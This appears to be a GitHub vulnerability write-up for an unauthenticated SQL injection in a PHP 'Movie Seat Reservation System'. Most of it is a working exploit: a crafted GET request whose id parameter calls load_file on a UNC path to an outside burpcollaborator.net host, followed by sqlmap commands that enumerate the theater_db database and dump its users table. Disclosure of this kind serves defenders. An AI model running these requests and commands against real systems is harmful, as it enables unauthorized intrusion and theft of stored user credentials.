Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Movie Seat Reservation System Sql Injection

  • Note => exploit don't need login account

Exploit

  • Use Burp Suite capture request with payload image
GET /Movie_Seat_Reservation_System/index.php?page=reserve&id=(select%20load_file('%5c%5c%5c%5coumvuo0qifuf18d8xd3vrtn81z7svqjhl5cs3gs.burpcollaborator.net%5c%5cbxr')) HTTP/1.1
Host: 192.168.1.101:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Cache-Control: max-age=0

Then save as moviesqli.txt

  • Exploit with Sqlmap
python3 sqlmap.py -r moviesqli.txt --current-user

image

python3 sqlmap.py -r moviesqli.txt  --batch -dbs

image

python3 sqlmap.py -r moviesqli.txt  --batch -tables -D theater_db

image

python3 sqlmap.py -r moviesqli.txt  --batch -columns -D theater_db -T users -dump

image

Vulnerable Code

image

  • No filter id when inserting data to database